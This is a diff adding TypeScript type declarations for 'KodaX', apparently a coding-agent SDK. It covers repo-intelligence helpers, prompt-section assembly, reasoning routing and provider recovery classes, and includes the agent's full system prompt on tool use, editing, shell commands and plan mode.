+declare function renderSymbolContext(result: SymbolContextResult): string;
+declare function renderProcessContext(result: ProcessContextResult): string;
+declare function renderImpactEstimate(result: ImpactEstimateResult): string;
+
+type RepoContext = Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>;
+declare function buildRepoIntelligenceIndex(context: RepoContext, options?: {
+    targetPath?: string;
+    refresh?: boolean;
+}): Promise<RepoIntelligenceIndex>;
+declare function getRepoIntelligenceIndex(context: RepoContext, options?: {
+    targetPath?: string;
+    refresh?: boolean;
+}): Promise<RepoIntelligenceIndex>;
+declare function getModuleContext(context: RepoContext, options?: {
+    module?: string;
+    targetPath?: string;
+    refresh?: boolean;
+    mode?: KodaXRepoIntelligenceMode;
+}): Promise<ModuleContextResult>;
+declare function getSymbolContext(context: RepoContext, options: {
+    symbol: string;
+    module?: string;
+    targetPath?: string;
+    refresh?: boolean;
+    mode?: KodaXRepoIntelligenceMode;
+}): Promise<SymbolContextResult>;
+declare function getProcessContext(context: RepoContext, options: {
+    entry?: string;
+    module?: string;
+    targetPath?: string;
+    refresh?: boolean;
+    mode?: KodaXRepoIntelligenceMode;
+}): Promise<ProcessContextResult>;
+declare function getImpactEstimate(context: RepoContext, options: {
+    symbol?: string;
+    module?: string;
+    path?: string;
+    targetPath?: string;
+    refresh?: boolean;
+    mode?: KodaXRepoIntelligenceMode;
+}): Promise<ImpactEstimateResult>;
+declare function getRepoRoutingSignals(context: RepoContext, options?: {
+    targetPath?: string;
+    refresh?: boolean;
+    mode?: KodaXRepoIntelligenceMode;
+}): Promise<KodaXRepoRoutingSignals>;
+/**
+ * v0.7.41 L2 — best-effort warm both session-level caches (routing signals +
+ * preturn bundle) for a given workspace. Designed to be called fire-and-forget
+ * at REPL startup so the first user prompt finds the in-process caches warm.
+ *
+ * Why this works (and why M1's `refresh:true` design did NOT):
+ *   - Uses `refresh: false` (4s budget) — daemon returns its already-cached
+ *     state immediately. Total prewarm wall-time is typically 1-2s.
+ *   - Daemon's own background polling keeps its state fresh; we don't need
+ *     to force a refresh on every REPL startup.
+ *   - If user submits BEFORE prewarm completes, P2 in-flight Promise sharing
+ *     coalesces both calls onto the same 4s daemon round-trip. The user pays
+ *     at most ~2s, NOT the 30s budget that `refresh:true` would burn.
+ *   - If user submits AFTER prewarm completes, P3+ session cache (60s TTL)
+ *     serves the result in ~0ms.
+ *   - The middleware/first-round path (L1) also uses `refresh:false`, so
+ *     prewarm and user-path are cache-coherent — the user-path call genuinely
+ *     hits the warmed entry instead of being forced to bypass it.
+ *
+ * Failure modes:
+ *   - All calls `.catch(() => {})` — prewarm is best-effort. If the daemon
+ *     is down, the first prompt falls back to OSS as before.
+ *   - `off` mode short-circuits — no work at all when repo intelligence
+ *     is disabled.
+ */
+declare function prewarmRepoIntelligenceCaches(context: RepoContext, options?: {
+    mode?: KodaXRepoIntelligenceMode;
+}): void;
+
+declare const REPOINTEL_DEFAULT_ENDPOINT = "http://127.0.0.1:47891";
+
+type RepoIntelligenceRequestedBridge = 'none' | 'shared' | 'native';
+type RepoIntelligenceEffectiveEngine = 'off' | 'oss' | 'premium';
+type RepoIntelligenceRuntimeStatus = 'disabled' | 'ok' | 'limited' | 'unavailable' | 'warming';
+type PremiumTransport = 'daemon' | 'direct';
+interface RepoIntelligenceRuntimeInspection {
+    configuredMode: KodaXRepoIntelligenceMode;
+    requestedMode: KodaXRepoIntelligenceResolvedMode;
+    endpoint: string;
+    bin: string;
+    traceEnabled: boolean;
+    requestedBridge: RepoIntelligenceRequestedBridge;
+    effectiveEngine: RepoIntelligenceEffectiveEngine;
+    effectiveBridge: RepoIntelligenceRequestedBridge;
+    status: RepoIntelligenceRuntimeStatus;
+    fallbackToOss: boolean;
+    warnings: string[];
+    error?: string;
+    transport?: PremiumTransport;
+    clientBuildId?: string;
+    daemonBuildId?: string;
+    daemonStartedAt?: string;
+    daemonPid?: number;
+}
+interface RepoIntelligenceRuntimeWarmResult extends RepoIntelligenceRuntimeInspection {
+    warmed: boolean;
+    warmLatencyMs?: number;
+}
+interface RepoIntelligenceRuntimeConfig {
+    mode: KodaXRepoIntelligenceMode;
+    endpoint: string;
+    bin: string;
+    trace: boolean;
+}
+declare function resolveRepoIntelligenceRuntimeConfig(modeOverride?: KodaXRepoIntelligenceMode, traceOverride?: boolean): RepoIntelligenceRuntimeConfig;
+declare function resolveRepoIntelligenceMode(modeOverride?: KodaXRepoIntelligenceMode): KodaXRepoIntelligenceResolvedMode;
+declare function inspectRepoIntelligenceRuntime(options?: {
+    mode?: KodaXRepoIntelligenceMode;
+    trace?: boolean;
+    probePremium?: boolean;
+}): Promise<RepoIntelligenceRuntimeInspection>;
+declare function warmRepoIntelligenceRuntime(options?: {
+    mode?: KodaXRepoIntelligenceMode;
+    trace?: boolean;
+}): Promise<RepoIntelligenceRuntimeWarmResult>;
+
+declare const SYSTEM_PROMPT = "You are KodaX, a helpful multi-provider coding agent. You can read, write, and edit files, and execute shell commands.\n\n## Error Handling\n\nWhen a tool call returns an error:\n1. STOP and READ the error message carefully\n2. DO NOT repeat the same tool call with the same parameters\n3. Identify what's wrong (missing parameter? wrong type? wrong path?)\n4. Fix the issue BEFORE making another tool call\n5. Common errors:\n   - \"Missing required parameter 'X'\" -> Add the missing parameter to your JSON\n   - \"File not found\" -> Check the path with read or glob first\n   - \"String not found\" -> Read the file again to see exact content\n\nWhen a shell command fails, prefer this recovery order:\n1. Check whether a specialized tool can solve the task directly\n2. Fix the command itself (quoting, workdir, platform-specific command, smaller scope)\n3. Split the task into smaller read/edit/write steps\n4. Only create a helper script when repeated inline commands are clearly less safe or less maintainable\n\n## Editing Files\n\n- Always read the file first to understand its current content\n- Make precise, targeted edits rather than rewriting entire files\n- Preserve the existing code style and formatting\n- Do not create new files unless the user asks for one or the task genuinely needs one. Prefer editing an existing file to creating a new one, as this prevents file bloat and keeps each tool call small\n- When a modification is scoped to an existing file, ALWAYS prefer `edit` over `write`. Only fall back to `write` when no file exists yet or the user explicitly requested a complete rewrite\n\n## Tool Usage\n\nPrefer specialized tools over shell for file operations:\n- Use read to view files instead of cat, head, or tail\n- Use edit to modify existing files instead of sed or awk when possible\n- Use write to create new files instead of echo redirection or heredocs\n- Use glob or grep for file discovery and content search before falling back to shell\n- When multiple read-only tool calls are independent, emit them in the same response so parallel mode can run them together\n- Only serialize tool calls when a later call depends on an earlier result\n- Keep parallel batches focused: prefer a few narrow grep/read/diff calls over many tiny sequential probes\n\nRead is intentionally bounded:\n- A single read call only returns a limited slice of a file\n- For large files, continue with offset/limit instead of retrying a whole-file read\n- Prefer grep first, then read the specific section you need\n\nTool outputs are also bounded:\n- Large bash output may be truncated to the tail\n- Large grep results and diffs may be summarized\n- When you see a truncation hint, narrow the next tool call instead of repeating the same broad request\n- If edit fails to find a stable anchor, do not rewrite the entire existing file with write; retry with a smaller unique edit anchor or use insert_after_anchor for section appends\n\nIf you truly need a script:\n- Do NOT create temporary scripts or scratch files in the project root\n- Do NOT place them at `.agent/` top level \u2014 that directory is reserved for system-managed artifacts (managed-tasks/, project/, repo-intelligence/, etc.)\n- Write them to `.agent/tmp/` (relative to the git root). This is the designated ephemeral workspace; files there can be safely cleaned up later\n- Alternatively, use the system temp directory if the script does not need to be inspectable from the project\n- Treat helper scripts as a last resort, not the default recovery path\n\n## Shell Commands\n\n- Be careful with destructive operations\n- Reserve shell commands for terminal operations such as git, package managers, builds, tests, and system commands\n- Prefer read-only operations when possible\n- For file edits, prefer read/edit/write over shell transforms unless shell scripting is genuinely more efficient\n\n### Cross-Platform Notes\n\nDifferent platforms have different commands:\n- Move: `move` (Windows) vs `mv` (Unix/Mac)\n- List: `dir` (Windows) vs `ls` (Unix/Mac)\n- Delete: `del` (Windows) vs `rm` (Unix/Mac)\n\n**IMPORTANT: Directories are created automatically by the `write` tool.**\n- NEVER use `mkdir` before writing files - the write tool handles directory creation\n- If you truly need an empty directory: `mkdir dir` (Windows) or `mkdir -p dir` (Unix)\n\nIf you see \"not recognized\", \"\u4E0D\u662F\u5185\u90E8\u6216\u5916\u90E8\u547D\u4EE4\", or a similar shell lookup error, the command does not exist on this platform. Try the platform equivalent.\n\n## Multi-step Tasks\n\n- Track your progress by listing what you've done and what's next\n- Break complex tasks into smaller steps\n- Summarize progress periodically\n\n## Plan Before Action\n\nFor any non-trivial task (creating files, editing code, running complex commands):\n1. First explain your understanding of the task\n2. Outline your approach (what files, what changes, what order)\n3. Consider potential issues (edge cases, dependencies, conflicts)\n4. Then execute step by step\n\nFor simple read-only tasks (reading a file, listing directory), just do it directly.\n\nIf the environment is currently in a read-only planning mode:\n- Do not try to write files or run mutating shell commands during planning\n- Finish the plan first\n- After the plan is complete, use `ask_user_question` to ask whether the user wants to proceed with implementation\n- If the user confirms, call `set_permission_mode` with `mode: \"accept-edits\"` to switch to implementation mode\n- If the user declines, stay in plan mode \u2014 do NOT call `set_permission_mode`\n\n## Asking User Questions\n\nWhen you need the user to make decisions, use `ask_user_question`.\n- For **multiple independent questions**, use the `questions` array (1-4 items). Each question has its own `question`, `header`, `options`, and optional `multi_select`. The user answers each question separately. Do NOT combine multiple questions into a single question string with pre-combined option combinations.\n- For a **single question**, use the `question` + `options` fields as before.\n- For **free-text input**, use `kind: \"input\"`.\n\nAlways explain what you're doing before taking action.\n\n{context}";
+
+type KodaXPromptSectionSlot = 'base' | 'runtime-context' | 'session-context' | 'capability-truth' | 'base-suffix' | 'mode-overlay' | 'project-rules' | 'skill-addendum' | 'specialist';
+type KodaXPromptSectionStability = 'stable' | 'dynamic' | 'project' | 'specialist';
+interface KodaXPromptSectionDefinition {
+    id: string;
+    title: string;
+    owner: 'prompts' | 'reasoning' | 'project' | 'skills' | 'agent';
+    feature: string;
+    slot: KodaXPromptSectionSlot;
+    order: number;
+    stability: KodaXPromptSectionStability;
+}
+interface KodaXPromptSection extends KodaXPromptSectionDefinition {
+    inclusionReason: string;
+    content: string;
+}
+interface KodaXPromptSnapshotMetadata {
+    isNewSession: boolean;
+    executionCwd: string;
+    projectRoot: string;
+    longRunning: boolean;
+}
+interface KodaXPromptSnapshot {
+    kind: 'system';
+    sections: KodaXPromptSection[];
+    rendered: string;
+    hash: string;
+    metadata: KodaXPromptSnapshotMetadata;
+}
+declare const PROMPT_SECTION_REGISTRY: Record<string, KodaXPromptSectionDefinition>;
+declare function createPromptSection(id: keyof typeof PROMPT_SECTION_REGISTRY, content: string, inclusionReason: string): KodaXPromptSection;
+declare function orderPromptSections(sections: KodaXPromptSection[]): KodaXPromptSection[];
+declare function renderPromptSections(sections: KodaXPromptSection[]): string;
+declare function buildPromptSnapshot(sections: KodaXPromptSection[], metadata: KodaXPromptSnapshotMetadata): KodaXPromptSnapshot;
+
+/**
+ * KodaX Prompt Builder
+ *
+ * Builds effective prompts through an explicit section registry so prompt
+ * truth can be snapshotted, attributed, and regression-tested.
+ *
+ * v0.7.35.1 FEATURE_142 Batch E: the 13 capability-context sections
+ * formerly inlined here have been hoisted to
+ * `./capability-sections.ts:buildCapabilityContextSections`. This file
+ * keeps the SA-path orchestration (cwd resolution, snapshot assembly)
+ * and delegates section construction to the shared helper. SA output
+ * is byte-equivalent to the pre-Batch E rendering — `builder.test.ts`
+ * is the integration-level guard for that contract.
+ */
+
+/**
+ * Build a sectionized snapshot of the effective system prompt.
+ */
+declare function buildSystemPromptSnapshot(options: KodaXOptions, isNewSession: boolean): Promise<KodaXPromptSnapshot>;
+/**
+ * Build the rendered system prompt used for provider calls.
+ */
+declare function buildSystemPrompt(options: KodaXOptions, isNewSession: boolean): Promise<string>;
+
+/**
+ * v0.7.35.1 FEATURE_142 Batch E — Capability Context Sections.
+ *
+ * Single source of truth for the 13 capability-context prompt sections
+ * the SA path (`buildSystemPromptSnapshot` in `builder.ts`) assembles.
+ * Extracted to dedupe with a future AMA worker integration (Batch F /
+ * v0.7.36 FEATURE_143). Each section's id, order, content shape, and
+ * inclusion condition is preserved byte-equivalently from
+ * builder.ts:32-181 (pre-Batch E).
+ *
+ * The 13 sections, in order:
+ *   1.  base-system               (always)
+ *   2.  base-system-suffix        (when SYSTEM_PROMPT has `{context}` marker)
+ *   3.  environment-context       (always)
+ *   4.  runtime-fact              (when provider or model is set)
+ *   5.  working-directory         (always)
+ *   6.  git-context               (when isNewSession AND repo has git output)
+ *   7.  project-snapshot          (when isNewSession)
+ *   8.  repo-intelligence-context (when context.repoIntelligenceContext)
+ *   9.  mcp-capability-context    (when extensionRuntime returns mcp ctx)
+ *   10. prompt-overlay            (when context.promptOverlay)
+ *   11. project-agents            (when AGENTS.md / CLAUDE.md found)
+ *   12. skills-addendum           (when context.skillsPrompt)
+ *   13. tool-construction         (when toolConstructionMode includes it)
+ *
+ * Why this lives in `@kodax-ai/coding/src/prompts/` and NOT
+ * `@kodax-ai/agent/`:
+ *   - All callers (builder.ts SA path + future AMA role-prompt) are
+ *     coding-internal. A future `@kodax-ai/data-analysis-agent` would
+ *     have its own builder + role-prompt with its own section set
+ *     (e.g. `prompt-overlay` is coding-routing-specific). Cross-agent
+ *     reuse is at the **pattern** level (each agent has its own
+ *     `capability-sections.ts`), not the **content** level.
+ *   - Hoisting to `@kodax-ai/agent/` would force `@kodax-ai/agent` →
+ *     `@kodax-ai/skills` / `@kodax-ai/mcp` cross-package dependencies,
+ *     breaking the "agent doesn't depend on application-layer
+ *     packages" promise.
+ *   - The drift problem this batch solves is "SA / AMA assemble the
+ *     same content twice" — a coding-internal duplication, not a
+ *     cross-package boundary issue.
+ *
+ * Behavior contract: the SA path's emitted sections array (and thus
+ * `KodaXPromptSnapshot.rendered`) MUST stay byte-equivalent to the
+ * pre-Batch E `buildSystemPromptSnapshot` output. `builder.test.ts` is
+ * the integration-level guard for this contract.
+ */
+
+/**
+ * Build the full ordered set of capability-context prompt sections for
+ * the given options + session state. The caller is responsible for
+ * passing the result to `buildPromptSnapshot()` (or whatever assembler
+ * the agent uses); this helper only emits the section list.
+ *
+ * `executionCwd` is OPTIONAL — when omitted, this helper calls
+ * `resolveExecutionCwd(options.context)` internally. Passing it
+ * explicitly is supported as a perf shortcut for callers that have
+ * already resolved cwd for other purposes (e.g. `builder.ts` uses the
+ * same value to populate the snapshot's `executionCwd` field), but
+ * **the explicit value MUST equal `resolveExecutionCwd(options.context)`
+ * or the `working-directory` section will diverge from the snapshot
+ * metadata** — a subtle source of drift if a future caller resolves
+ * cwd differently. Prefer the no-arg form unless you have a documented
+ * reason to override.
+ */
+declare function buildCapabilityContextSections(options: KodaXOptions, isNewSession: boolean, executionCwdOverride?: string): Promise<KodaXPromptSection[]>;
+
+declare function checkIncompleteToolCalls(toolBlocks: KodaXToolUseBlock[]): string[];
+
+/**
+ * Prompt content builder — CAP-009
+ *
+ * Capability inventory: docs/features/v0.7.29-capability-inventory.md#cap-009
+ *
+ * Pure function that turns the entry user prompt into the right shape for
+ * the provider's first message:
+ *
+ *   - text-only prompt + no input artifacts → return the string as-is
+ *     (lets the provider use its compact text-message path)
+ *   - text + image artifacts (paste / drag) → return a multimodal content
+ *     block array: a text block followed by one image block per artifact
+ *
+ * Always applied at the SINGLE SA entry-message build site
+ * (`agent.ts:1263`); the runner-driven (AMA) path hits the same function via
+ * the package re-export.
+ *
+ * Migration history: extracted from `input-artifacts.ts` to `agent-runtime/`
+ * during FEATURE_100 P2. The companion `extractPromptComparableText` /
+ * `extractComparableUserMessageText` helpers stay in `input-artifacts.ts`
+ * for now; they migrate to `agent-runtime/middleware/auto-resume.ts` when
+ * CAP-046 (duplicate-message detection) lands.
+ */
+
+declare function buildPromptMessageContent(prompt: string, inputArtifacts?: readonly KodaXInputArtifact[]): string | KodaXContentBlock[];
+
+/**
+ * Auto-resume / session-continuation middleware — CAP-008 + CAP-046
+ *
+ * Capability inventory:
+ * - docs/features/v0.7.29-capability-inventory.md#cap-008-initialmessages-session-continuation
+ * - docs/features/v0.7.29-capability-inventory.md#cap-046-duplicate-user-message-detection
+ *
+ * Three concerns colocated here because they are all triggered at frame
+ * entry and consume the same `KodaXOptions.session` field:
+ *
+ *   1. **`extractPromptComparableText` / `extractComparableUserMessageText`**
+ *      — canonicalise text content for the duplicate-message check
+ *      (returns string for primitive content, joined text-block content
+ *      otherwise). Re-exported from `../../input-artifacts.ts` to preserve
+ *      the public API path.
+ *
+ *   2. **`resolveInitialMessages`** (CAP-008) — at frame entry, picks ONE
+ *      of three source paths and returns the resolved transcript bundle:
+ *        a. `options.session.initialMessages` provided (REPL multi-turn,
+ *           plan-mode replay) → clone + extract title from messages.
+ *        b. `options.session.storage` + `sessionId` provided → load and
+ *           normalise via `normalizeLoadedSessionMessages` (FEATURE_076
+ *           Q4 worker-trace shape repair).
+ *        c. neither → returns empty messages, no title, no metadata.
+ *
+ *   3. **`appendPromptIfNotDuplicate`** (CAP-046) — pushes a fresh
+ *      `user` message UNLESS the last message of the transcript is
+ *      already that prompt (canonical compare). Prevents double-push
+ *      when REPL re-feeds the same prompt to a mid-flight `runKodaX`.
+ *
+ * Migration history:
+ *   - `extractPromptComparableText` + `extractComparableUserMessageText`
+ *     moved here from `input-artifacts.ts:11-32` (deferred from CAP-009
+ *     extraction in earlier P2 batches).
+ *   - `resolveInitialMessages` extracted from `agent.ts:1485-1503` (the
+ *     `if (options.session?.initialMessages...)` block — pre-FEATURE_100
+ *     baseline).
+ *   - `appendPromptIfNotDuplicate` extracted from `agent.ts:1503-1511`
+ *     (the duplicate-detection + push block — pre-FEATURE_100 baseline).
+ *
+ * All extractions during FEATURE_100 P2.
+ */
+
+declare function extractPromptComparableText(content: string | readonly KodaXContentBlock[]): string;
+declare function extractComparableUserMessageText(message: KodaXMessage | undefined): string | undefined;
+
+type KodaXProviderSourceKind = 'builtin' | 'runtime' | 'custom' | 'unknown';
+interface KodaXProviderCapabilitySnapshot {
+    provider: string;
+    model?: string;
+    sourceKind: KodaXProviderSourceKind;
+    transport: KodaXProviderCapabilityProfile['transport'];
+    conversationSemantics: KodaXProviderCapabilityProfile['conversationSemantics'];
+    mcpSupport: KodaXProviderCapabilityProfile['mcpSupport'];
+    contextFidelity: NonNullable<KodaXProviderCapabilityProfile['contextFidelity']>;
+    toolCallingFidelity: NonNullable<KodaXProviderCapabilityProfile['toolCallingFidelity']>;
+    sessionSupport: NonNullable<KodaXProviderCapabilityProfile['sessionSupport']>;
+    longRunningSupport: NonNullable<KodaXProviderCapabilityProfile['longRunningSupport']>;
+    multimodalSupport: NonNullable<KodaXProviderCapabilityProfile['multimodalSupport']>;
+    evidenceSupport: NonNullable<KodaXProviderCapabilityProfile['evidenceSupport']>;
+    reasoningCapability: KodaXReasoningCapability;
+}
+type KodaXProviderPolicyIssueSeverity = 'warn' | 'block';
+interface KodaXProviderPolicyIssue {
+    code: string;
+    severity: KodaXProviderPolicyIssueSeverity;
+    summary: string;
+    detail: string;
+}
+interface KodaXProviderPolicyDecision {
+    status: 'allow' | 'warn' | 'block';
+    snapshot: KodaXProviderCapabilitySnapshot;
+    issues: KodaXProviderPolicyIssue[];
+    routingNotes: string[];
+    summary: string;
+}
+interface EvaluateProviderPolicyOptions {
+    providerName: string;
+    model?: string;
+    provider?: KodaXBaseProvider;
+    capabilityProfile?: KodaXProviderCapabilityProfile;
+    reasoningCapability?: KodaXReasoningCapability;
+    prompt?: string;
+    options?: Pick<KodaXOptions, 'context'>;
+    context?: KodaXContextOptions;
+    hints?: KodaXProviderPolicyHints;
+    reasoningMode?: KodaXReasoningMode;
+    taskType?: KodaXTaskType;
+    executionMode?: KodaXExecutionMode;
+}
+declare function buildProviderCapabilitySnapshot(options: {
+    providerName: string;
+    model?: string;
+    provider?: KodaXBaseProvider;
+    capabilityProfile?: KodaXProviderCapabilityProfile;
+    reasoningCapability?: KodaXReasoningCapability;
+}): KodaXProviderCapabilitySnapshot;
+declare function buildProviderPolicyPromptNotes(decision: KodaXProviderPolicyDecision): string[];
+declare function evaluateProviderPolicy(options: EvaluateProviderPolicyOptions): KodaXProviderPolicyDecision;
+
+interface ReasoningPlan {
+    mode: KodaXReasoningMode;
+    depth: KodaXThinkingDepth;
+    decision: KodaXTaskRoutingDecision;
+    amaControllerDecision: KodaXAmaControllerDecision;
+    promptOverlay: string;
+    providerPolicy?: KodaXProviderPolicyDecision;
+}
+interface RoutingEvidenceInput {
+    recentMessages?: KodaXMessage[];
+    sessionErrorMetadata?: SessionErrorMetadata;
+    additionalSignals?: string[];
+    repoSignals?: KodaXRepoRoutingSignals;
+}
+/**
+ * Resolve the **L1 user ceiling** for reasoning depth.
+ *
+ * In FEATURE_078 (v0.7.29) the semantics of `--reasoning <mode>` /
+ * `options.reasoningMode` shifted from "all roles use this mode" to
+ * "ceiling + bias for default": a hard upper bound on per-role depth
+ * with the same value also serving as the suggested default when an
+ * Agent declaration has no profile of its own.
+ *
+ * This function continues to return the user-supplied mode unchanged —
+ * what changed is how downstream code consumes it. Direct callers that
+ * still treat the return value as the final per-role depth will get
+ * pre-FEATURE_078 behaviour (everything pinned to `userCeiling`); they
+ * are migrated in this same patch to call `resolveRoleReasoning(...)`
+ * instead, which honours the L1-L4 chain.
+ */
+declare function resolveReasoningMode(options: KodaXOptions): KodaXReasoningMode;
+declare function reasoningModeToDepth(mode: KodaXReasoningMode): KodaXThinkingDepth;
+declare function inferTaskType(prompt: string): KodaXTaskType;
+declare function buildFallbackRoutingDecision(prompt: string, providerPolicy?: KodaXProviderPolicyDecision, routingEvidence?: RoutingEvidenceInput): KodaXTaskRoutingDecision;
+declare function buildProviderPolicyHintsForDecision(decision: KodaXTaskRoutingDecision): KodaXProviderPolicyHints;
+declare function buildAmaControllerDecision(decision: KodaXTaskRoutingDecision): KodaXAmaControllerDecision;
+declare function buildPromptOverlay(decision: KodaXTaskRoutingDecision, extraNotes?: string[], _providerPolicy?: KodaXProviderPolicyDecision, amaControllerDecision?: KodaXAmaControllerDecision): string;
+declare function createReasoningPlan(options: KodaXOptions, prompt: string, provider: KodaXBaseProvider, routingEvidence?: RoutingEvidenceInput): Promise<ReasoningPlan>;
+
+/**
+ * Promise-signal split for thinking-mode replay — CAP-039
+ *
+ * Capability inventory: docs/features/v0.7.29-capability-inventory.md#cap-039-promise-signal-split-for-thinking-mode-replay
+ *
+ * Recognises the convention used by managed-protocol harnesses (Scout,
+ * Planner, Generator, Evaluator) to embed a single-line signal at the end
+ * of an assistant turn — e.g. `[CONFIRMED H1_EXECUTE_EVAL]` — that downstream
+ * lifecycle code (scout-signals.ts, evaluator gating, etc.) inspects to
+ * decide whether to advance the harness state.
+ *
+ * Returns `[signal, residual]` where:
+ *   - `signal`  — uppercased tag (e.g. `CONFIRMED`) or `''` when absent
+ *   - `residual` — the second capture group from `PROMISE_PATTERN`, used
+ *                  by callers that want the post-signal explanatory text
+ *
+ * The pattern is owned by `constants.ts` so any future tweak to the
+ * grammar happens in one place.
+ *
+ * Migration history: extracted from `agent.ts:763-767` (pre-FEATURE_100 baseline)
+ * during FEATURE_100 P2.
+ */
+declare function checkPromiseSignal(text: string): [string, string];
+
+/**
+ * KodaX Resilience Config (Feature 045)
+ *
+ * Resolves effective resilience configuration by merging
+ * defaults, global config, and per-provider overrides.
+ */
+
+/**
+ * Default resilience configuration values.
+ * These are used when no explicit config is provided.
+ */
+declare const DEFAULT_RESILIENCE_CONFIG: Required<ProviderResilienceConfig>;
+/**
+ * Resolves the effective resilience configuration for a given provider.
+ *
+ * Merge order (later wins):
+ * 1. Built-in defaults
+ * 2. Global config (from KodaXOptions or config file)
+ * 3. Per-provider policy override (exact provider name match)
+ *
+ * @param providerName - The provider to resolve config for
+ * @param globalConfig - Optional global override
+ * @param perProvider - Optional per-provider policy list
+ * @returns Fully resolved config with all fields populated
+ */
+declare function resolveResilienceConfig(providerName: string, globalConfig?: ProviderResilienceConfig, perProvider?: ProviderResiliencePolicy[]): Required<ProviderResilienceConfig>;
+
+/**
+ * KodaX Resilience Error Classifier (Feature 045)
+ *
+ * Upgrades the basic error-classification.ts with fine-grained
+ * error classes and failure stage detection for the recovery ladder.
+ *
+ * The original classifyError() is preserved for backward compatibility.
+ * This module provides classifyResilienceError() with richer semantics.
+ */
+
+/**
+ * Classifies an error for the resilience system.
+ *
+ * Returns a ResilienceClassification with:
+ * - errorClass: Fine-grained error category
+ * - failureStage: When in the request lifecycle the error occurred
+ * - retryable: Whether automatic retry is appropriate
+ * - maxRetries: Maximum retry attempts
+ * - baseRetryDelay: Base delay between retries (ms)
+ *
+ * @param error - The error to classify
+ * @param currentStage - The current failure stage context (if known)
+ */
+declare function classifyResilienceError(error: Error, currentStage?: FailureStage): ResilienceClassification;
+
+/**
+ * KodaX Stable Boundary Tracker (Feature 045)
+ *
+ * Tracks the "stable boundary" during provider streaming — the point
+ * up to which all content is fully committed and can be safely recovered to.
+ *
+ * Stable boundary = index after the last fully committed assistant message
+ * or tool result. Content beyond this point (live streaming text, incomplete
+ * tool call JSON) is considered unstable and will be discarded on recovery.
+ */
+
+declare class StableBoundaryTracker {
+    private state;
+    private hasReceivedFirstDelta;
+    private currentToolInputId;
+    constructor();
+    /**
+     * Called before each provider request attempt.
+     * Resets streaming state but preserves stable boundary position.
+     */
+    beginRequest(provider: string, model: string, messages: KodaXMessage[], attempt?: number, fallbackUsed?: boolean): void;
+    /**
+     * Called when the first stream delta is received.
+     * Updates the failure stage from "before_first_delta" to "mid_stream_*".
+     */
+    markFirstDelta(): void;
+    /**
+     * Called when text delta is received.
+     * Tracks the amount of live (unstable) text.
+     */
+    markTextDelta(text: string): void;
+    /**
+     * Called when thinking delta is received.
+     */
+    markThinkingDelta(text: string): void;
+    /**
+     * Called when tool input streaming starts.
+     * Adds the tool call to the pending list.
+     */
+    markToolInputStart(toolCallId: string): void;
+    /**
+     * Called when a tool has been successfully executed.
+     * Moves the tool from pending to executed and advances the stable boundary.
+     */
+    markToolExecuted(toolCallId: string): void;
+    /**
+     * Called when the assistant message is complete (stream ended normally).
+     * This advances the stable boundary past the current assistant message.
+     */
+    markAssistantComplete(messages: KodaXMessage[]): void;
+    /**
+     * Returns the current failure stage based on tracker state.
+     */
+    inferFailureStage(): FailureStage;
+    /**
+     * Returns a read-only snapshot of the current execution state.
+     */
+    snapshot(): Readonly<ProviderExecutionState>;
+    /**
+     * Whether any delta has been received in the current request.
+     */
+    get hasReceivedDelta(): boolean;
+    /**
+     * Recovers to the last stable boundary.
+     *
+     * Reconstructs the message list from the stable boundary forward,
+     * preserving executed tool results and discarding unstable content.
+     *
+     * @param messages - The current (possibly corrupted) message list
+     * @returns Recovery info with reconstructed messages and metadata
+     */
+    recoverToStableBoundary(messages: KodaXMessage[]): {
+        messages: KodaXMessage[];
+        droppedToolCallIds: string[];
+        executedToolCallIds: string[];
+    };
+    /**
+     * Resets the tracker to initial state for a new conversation.
+     */
+    reset(): void;
+    private createInitialState;
+}
+
+/**
+ * KodaX Recovery Coordinator (Feature 045)
+ *
+ * Orchestrates the 4-step recovery ladder:
+ * 1. Fresh connection retry — retry with same messages (pre-delta failures)
+ * 2. Stable boundary retry — reconstruct from stable boundary (mid-stream failures)
+ * 3. Non-streaming fallback — switch to non-streaming mode
+ * 4. Manual continue — stop and ask user for intervention
+ */
+
+declare class ProviderRecoveryCoordinator {
+    private readonly boundaryTracker;
+    private readonly config;
+    private nonStreamingFallbackUsed;
+    private thinkingSanitizationUsed;
+    constructor(boundaryTracker: StableBoundaryTracker, config: ProviderResilienceConfig);
+    /**
+     * Determines the recovery action for a given failure.
+     *
+     * The recovery ladder selects the mildest appropriate action:
+     * - Step 1 (fresh_connection_retry): For pre-delta failures
+     * - Step 2 (stable_boundary_retry): For mid-stream failures
+     * - Step 3 (non_streaming_fallback): For repeated streaming failures
+     * - Step 4 (manual_continue): When all retries are exhausted
+     */
+    decideRecoveryAction(error: Error, classified: ResilienceClassification, attempt: number): RecoveryDecision;
+    /**
+     * Executes a recovery decision by reconstructing messages
+     * from the stable boundary.
+     *
+     * @param messages - The current message list
+     * @param decision - The recovery decision to execute
+     * @returns Recovery result with reconstructed messages
+     */
+    executeRecovery(messages: KodaXMessage[], decision: RecoveryDecision): RecoveryResult;
+    private selectRecoveryStrategy;
+    private executeFreshConnectionRetry;
+    private executeStableBoundaryRetry;
+    private executeNonStreamingFallback;
+    private executeManualContinue;
+    private executeSanitizeThinking;
+    /**
+     * Resets the coordinator for a new request chain.
+     */
+    reset(): void;
+}
+
+/**
+ * KodaX Tool Guard (Feature 045)
+ *
+ * Prevents tool side-effect replay during provider recovery.
+ * When recovering to a stable boundary, executed tool results must be
+ * preserved and incomplete tool calls must be dropped.
+ *
+ * This module provides the message reconstruction logic that ensures:
+ * 1. Executed tool results are preserved in the reconstructed messages
+ * 2. Dropped tool calls are cleaned up (removed from pending)
+ * 3. A continuation hint is appended so the model knows to continue
+ *    from where it left off
+ */
+
+/**
+ * Reconstructs messages after a recovery, ensuring executed tool results
+ * are preserved and dropped tool calls are cleaned up.
+ *
+ * @param stableMessages - Messages up to the stable boundary
+ * @param executedToolCallIds - Tool calls that have been executed (preserve results)
+ * @param droppedToolCallIds - Tool calls that were in progress (drop them)
+ * @returns Reconstructed message list
+ */
+declare function reconstructMessagesWithToolGuard(stableMessages: KodaXMessage[], executedToolCallIds: string[], droppedToolCallIds: string[]): KodaXMessage[];
+
+/**
+ * KodaX Agent — public SDK entry post-FEATURE_100 P3.6r/P3.6s.
+ *
+ * `runKodaX(opts, prompt)` is the stable SDK signature; internally it
+ * delegates to `Runner.run(createDefaultCodingAgent(), …)` so SA
+ * execution always flows through the Layer-A frame (Option Y deletion
+ * per ADR-020 / v0.7.29 §239 §371). Substrate body lives in
+ * `agent-runtime/run-substrate.ts` (`runSubstrate`) and is wired via
+ * the `Agent.substrateExecutor` closure attached in `coding-preset.ts`.
